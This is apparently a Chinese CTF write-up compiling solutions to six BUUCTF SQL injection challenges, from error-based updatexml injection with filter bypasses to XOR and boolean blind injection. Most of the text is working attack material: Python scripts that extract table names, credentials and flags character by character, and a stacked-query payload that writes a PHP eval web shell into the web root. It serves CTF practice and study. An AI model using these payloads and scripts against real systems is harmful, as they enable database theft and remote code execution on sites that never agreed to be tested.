此帖子特意为BUU所以有关sql注入的题准备
以后复习也可以直接查看,那让我们直接开始吧!
[RCTF2015]EasySQL
打开后是一个注册和登录页面,根据题目提示 fuzz一波看看过滤了什么
在username和email过滤了字符
@ or and space substr mid left right handle hex
先注册一个账户看看
这里email过滤@属实有操作,我人都傻了
注册成功后登陆,
随便点点,发现可以修改密码
修改密码肯定是要调取数据库中的用户名,为了尝试出后台读取密码的 sql语句,我们尝试注册一个带有\‘“或其他sql常用符号的用户名然后进入这个页面看看有什么变化
发现没有任何变化,只能各种姿势都试试看了,先 普通修改一个密码看看
发现出现了回显
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\" and pwd='9cd6e045445480e4e5adaf4a9ec880cb'' at line 1”
这里因为发现password发现了加密了之前密码,所以这里不是注入点
猜测后台的语句应该是select *from users where username=''“and password =''”
我们需要在用户名处着手输入,而用户名只有注册时有,我们只能根据注册用户名时构造sql注入语句,又因回显的是错误,我们尝试报错注入
之前fuzz因为用户名过滤了or 和空格我们这里使用||和括号绕过
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.schemata)where(table_schema=database())),0x7e),1))#
再次修改密码是我们很明显发现这里弹出了我们需要的数据库名
表名:username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#
然后我们发现,flag不在flag表里。。。。。。。。吐了
查一下users表:admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#
发现有输出长度限制
这里过滤了hex函数,所以不能用hex输出,这里我们可以猜测出来flag的表名是real_flag_1s_here,查询数据
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
输出了一堆废物,我们尝试用regexp函数查找f开头的数据
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#
发现只输出了一部分,substr函数和mid函数被ban了,不能截取字符,reverse取反在取回来即可
username=admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#
a='}72bcd11fe9a3-0139-2634-428d-bb'
l = list(a)
l.reverse()
result = ''.join(l)
print (result)
得到flag
flag{9b9200bb-d824-4362-9310-3a9ef11dcb27}
[RoarCTF 2019]Online Proxy.
使用他给的参数测试无果,查看源码
xff构造发现存在sql注入(二次注入),写个脚本盲注一手
import requests
url = "http://node3.buuoj.cn:28102/"
head = {
"Cookie" : "track_uuid=64207489-fe28-4a0d-e5ae-ce37ec034e80",
"X-Forwarded-For" : ""
}
result = ""
for i in range(1,50):
l = 33
j = 127
mid = (l+j)>>1
while(l<j): head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{0},1))>{1} or '0".format(i,mid)
r= requests.post(url, headers = head)
head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{0},1))>{1} or '0".format(i, mid+1)
r= requests.post(url, headers = head)
r= requests.post(url, headers = head)
if "Last Ip: 1" in r.text:
l= mid+1
else:
j=mid
mid = (l+j)>>1
result+=chr(mid)
print(result)
print("table_name:"+result)
#更改上面的注入方式即可注入出所有需要的东西
[GYCTF2020]Ezsqli
打开后只有一个登陆框,尝试fuzz后发现过滤了or,union select, or 且返回的是布尔值,思路需要布尔盲注
所以information_schema不能用了,这时候我们可以利用sys.schema_table_statistics这个表
测试后发现如果是正确会返回Nu1l
写个脚本跑一下表名:
import requests
flag=''
url='http://aa20606b-98fa-4cda-aa30-11cddab7f269.node3.buuoj.cn/index.php'
link=0
for i in range(1,50):
for j in range(32,128):
payload = "1 && ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),"+str(i)+",1))="+str(j)+"#"
data={
'id': payload
}
r=requests.post(url,data=data)
if 'Nu1L' in r.text:
flag+=chr(j)
print(flag)
break
#表名f1ag_1s_h3r3_hhhhh
神奇做法,猜测列名就叫flag,注入发现可以正确注入
预期解:无列明注入
我们知道sys.schema_table_statistics是无法查列名的,所以这个题需要用到,无列名注入
判断如下式子:
(select 其他列,'猜测的数据') > (select from users limit 1)
在这里由于表中只有一行数据,所以正好无需limit语句,而表中的列为主键和flag列两列,因此我们构造的判断条件即为:
(select 1,'{}') > (select from f1ag_1s_h3r3_hhhhh)
在写脚本的时候,只要按照ascii码从小到大的顺序进行猜解即可
import requests
url = 'http://aa20606b-98fa-4cda-aa30-11cddab7f269.node3.buuoj.cn/index.php'
x=''
for j in range(1,50):
for i in range(33,127):
flag=x+chr(i)
payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag)
data={
'id':payload
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
x=x+chr(i-1)
print(x)
break
#php用这个函数转换小写strtolower
因为MYSQL不区分大小写,且大写的ASCII码值比小写的小,所以最后出来把flag转换一下小写,即可获得flag
注:看p3师傅的payload有其他解法,再好好理解一下
[NCTF2019]SQLi
这题和BJD2nd的简单注入差不多,脚本拿来改改直接用就行,不同的是这题过滤了大小写比较函数binary,所以判断这题密码只有大写或者小写。之前的脚本改改直接用就行
import os
import requests as req
def ord2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
url = "http://5a0f43d4-31db-4669-ae41-a57cd777be93.node3.buuoj.cn/"
string = [ord(i) for i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_/!|']
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive'
}
res = ''
for i in range(50):
for j in string:
passwd = ord2hex('^'+res+chr(j))
passwd = '||passwd/**/REGEXP/**/{};\x00'.format(passwd)
#print(passwd)
data = {
'username':"\\",
'passwd':passwd
}
r = req.post(url, data=data, headers=headers,allow_redirects=False)
if r.status_code==302:
res += chr(j)
print(res)
break
[Black Watch 入群题]Web
只有一个用户名界面和新闻界面,大概率猜测是sql注入题目,用户名处fuzz了半天也没有结果。后来发现在新闻界面查询有一个get传入的查询方式,这里就可能是sql注入点了,
fuzz一下发现过滤了union,空格好像也不太可以,又尝试异或注入发现
输入1^1^1返回正常
1^(1>2)^1报错
返回判定依据是正确返回title
写个脚本跑一下就行
import requests
import urllib
import sys
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
url = "http://c473fce9-1dcd-4cbd-90d3-e53f403161a0.node3.buuoj.cn/backend/content_detail.php?id="
# payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={})^1".format(i,j)
# admin,contents
# payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),{},1))={})^1".format(i,j)
# id,title,content,is_enable
# payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))={})^1".format(i,j)
# id,username,password,is_enable
# payload = payload = "1^(ascii(substr((select(group_concat(username))from(admin)),{},1))={})^1".format(i,j)
# d20d81b6,0e4050ce
# payload = "1^(ascii(substr((select(group_concat(password))from(admin)),{},1))={})^1".format(i,j)
# d4187ce4,ed48f6b8
result = ""
for i in range(1,100):
for j in range(32,127):
payload = "1^(ascii(substr((select(group_concat(password))from(admin)),{},1))={})^1".format(i,j)
r = requests.get(url+payload,proxies=proxies)
if "title" in r.text:
result+=chr(j)
print(result)
然后就可以了
[SUCTF 2018]MultiSQL
考点是mysql预处理写入shell
登录后在ID处存在注入
fuzz后发现过滤了一吨函数,那肯定不是盲注或者简单的注入了。这里发现如果输入2^(1=1)^1返回正常,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()
绕过
需要执行的语句
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/shell.php';
写个脚本转ascii码
str="select '<!--?php eval($_POST['cmd']);?-->' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
if i == 0:
print('char(%s'%ord(str[i]),end="")
else:
print(',%s'%ord(str[i]),end="")
print(')')
</pre>
<pre>char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,50,46,112,104,112,39,59)
传入?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,50,46,112,104,112,39,59);prepare query from @sql;execute query;
访问shell地址就有flag了。这题用的sql预处理,